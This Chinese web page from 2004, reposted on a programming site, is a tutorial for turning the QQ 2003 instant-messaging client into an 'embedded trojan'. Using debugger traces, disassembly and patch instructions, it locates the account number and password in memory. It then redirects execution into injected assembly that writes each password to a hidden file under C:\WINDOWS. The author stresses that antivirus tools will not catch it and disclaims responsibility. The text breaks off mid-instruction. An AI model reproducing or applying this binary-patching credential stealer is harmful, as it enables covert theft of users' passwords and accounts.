首页 编程 软件学院 查看内容

嵌入式木马---QQ另类木马全攻略

2004-12-22 10:44 1004 0

摘要:   谨以此文献给FCG : http://www.fcgchina.com/ctb    。在此感谢看雪论坛关心和支持我的朋友,感谢Laoq...
关键词: nbsp 密码 push 文件 eax 号码 Call 木马 长度 dword

  谨以此文献给FCG : http://www.fcgchina.com/ctb    。在此感谢看雪论坛关心和支持我的朋友,感谢Laoqian[FCG]大哥对我的支持和鼓励。一并感谢NE365的死党 :)    木马的作用和危害自不必多说。当前流行的木马,基本都是一个单独的程序,该程序运行在系统中,除了监测用户特定操作,其他和一般程序没什么区别。我这里说的所谓的“嵌入式木马”,并不是一个单独的程序,该“木马”像病毒一样嵌入目标软件,每当该软件被启动,木马程序也就被激活。这种做法好处很明显:1、占用系统资源极少;2、速度快,效率高;3、难以被查杀。    这里用QQ举例,修改QQ程序,让QQ读取用户账号和密码。    需要声明的有以下几点:    1、读取的账号和密码是即将被QQ处理的数据,因此,不管用户输入密码的时候,采用复制或者软键盘,都不会被幸免;    2、不会被木马克星之类的软件查杀。由于市面上QQ修改版很多,估计短期内也不会被各种杀毒软件查杀;    3、我们不对该文章产生的任何后果负责。    4、由于版本问题,如您照此进行试验而未果,我想是很正常的。盗取QQ2003密码和号码作者:nbw      www.vxer.com一、查找密码和号码的存放位置保存号码处:如果输入号码位数小于5便弹出提示.所以bpx messageboxa.停留在一处,在此处F12,回到外面一层,向上查找,到::* Reference To: QQHelperInDll.?CheckQQUinValid@@YAHVCString@@@Z, Ord:0016h                                  |:00414D76 FF15BC925300            Call dword ptr [005392BC]:00414D7C 3BC3                    cmp eax, ebx:00414D7E 59                      pop ecx:00414D7F 74D0                    je 00414D51    ;如果小于5便不跳上面的call追进去,其领空为:QQHelperInDll.dll .进去查看::1000A260 8B4508                  mov eax, dword ptr [ebp+08]    ;[ebp+08]--->用户QQ号码:1000A263 8B40F8                  mov eax, dword ptr [eax-08]    ;[eax-08]--->QQ号码的长度  :1000A266 83F805                  cmp eax, 00000005      ;判断号码长度是否大于5  :1000A269 7D05                    jge 1000A270保存密码处:    找到了号码存放位置以后,填写号码和密码点下一步(最好填5位以下的密码,这样就不用进入下一个界面).在上面的mov eax, dword ptr [ebp+08]处拦截下来.下命令d eax,看到自己的号码.向上不远便是自己输入的密码.这个存放密码的位置是变化的.比如说是在016F:0098EC1C处.下命令bpm 016F:0098EC1C w .回到QQ,再次输入一个密码,被拦截,可以pmodule回到QQ领空,然后再次F12,跳出来.可以找到关键的call是: :0041370D  Call 004FE0A2  这是一个MFC类库中的函数.有兴趣可以进去看一看,很简单.我就不说了.总之这个函数的返回值是:eax-->密码长度,ecx-->密码存放位置.嘿嘿,现在密码和号码全都有了.想干什么该我们说了算了.    我这里不能上网:(.. ,也没有QQ登录的纪录.如果有以前的登录纪录,就可以找到密码验证的地方,从而直接看出来密码和号码的位置,而不用象我这样还要处理QQHelperInDll.dll .二、保存号码和密码    首先,处理密码的保存。因为密码显示区在QQ主文件领空.比较方便修改.查找剩余空间:用我写的"剩余空间查看器"分析,部分结果如下:    名称     RVA     OA        尺寸D   可写否   .text  0013737e  0013737e   3202      否   .rdata  0018b756  0018b756   2218      否就说从文件偏移地址0018b756开始,有2218字节可用空间.但是.rdata段为不可写,无法利用这里的空间声明变量.不过不要紧,用PEditor把这个节区属性改成可写便可以了.事实证明,整个文件中只有.rdata区段最后的剩余空间可以被正确加载,也只有这区区2218字节供我们利用:(..三、修改文件,跳转到我们的代码区源文件为::0041370D E890A90E00              Call 004FE0A2:00413712 8D8624040000            lea eax, dword ptr [esi+00000424]:00413718 50                      push eax:00413719 6844010000              push 00000144:0041371E 57                      push edi改为::0041370D E890A90E00              Call 004FE0A2:00413712        jmp  18b78c    ;我们的代码将填写在58b78c:00413717        nop:00413718 50                      push eax:00413719 6844010000              push 00000144:0041371E 57                      push edi中间减少了::00413712 8D8624040000            lea eax, dword ptr [esi+00000424]  记录下来,以后补上四、需要用的函数调用地址CreateFileA    :  538198SetFilePointer    :  53819CWriteFile    :  5381A0五、填写保存密码的代码改为::0041370D E890A90E00              Call 004FE0A2:00413712        jmp  18b78c    ;我们的代码将填写在537450:00413717        nop:00413718 50                      push eax:00413719 6844010000              push 00000144:0041371E 57                      push edi中间减少了::00413712 8D8624040000            lea eax, dword ptr [esi+00000424]  记录下来,以后补上变量组织:18b760    :  "C:\WINDOWS\cnofig"----保存号码的文件地址.18b774    :  WriteFile函数的一个参数.对我们来说没用.不过不可少18b780    :  文件句柄  18b784    :  密码地址  18b788    :  密码长度:0058b78c  test  eax,eax    ;有很多时候需要跳转到这里,如果不加区分就纪录,会导致很多资料被纪录.          如果eax是空,则不纪录.当然,这也或许是用户的密码本身就是空    jz  @F:0058b790  pushad      ;代码中多插几个nop。防止以后修改代码的时候没有足够空间    add  ecx,eax    ;在密码最后面加一个#号用于区分    mov  byte [ecx],23    sub  ecx,eax    inc  eax    mov  [0058b784],ecx  ;密码地址    mov  [0058b788],eax  ;密码长度        push 00000000    push 00000002    ;FILE_ATTRIBUTE_HIDDEN,建立文件时使文件属性为隐藏    push 00000004    ;OPEN_ALWAYS.如果不存在该文件,则建立之    push 00000000    push 00000003    ;允许其他进程使用文件(为了不发生意外,所以这样设置)    push C0000000    push 0058b760    ;pointer to name of the file * Reference To: kernel32.CreateFileA, Ord:0030h          |    Call 538198    mov  [0058b780],eax  ;保存文件句柄    nop    nop    nop    nop    push 00000002    ;FILE_END.设置文件末尾    push 00000000    push 00000000    ;设定文件指针为文件末尾    push eax* Reference To: kernel32.SetFilePointer, Ord:0236h    |    Call 53819C    nop    nop    nop    push 00000000    push 0058b774    push [0058b788]    ;密码长度    push [0058b784]    ;密码地址    push [0058b780]    ;文件句柄* Reference To: kernel32.WriteFile, Ord:029Eh                                  |    Call 005381A0    popad@@:    lea eax, dword ptr [esi+00000424]   &
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部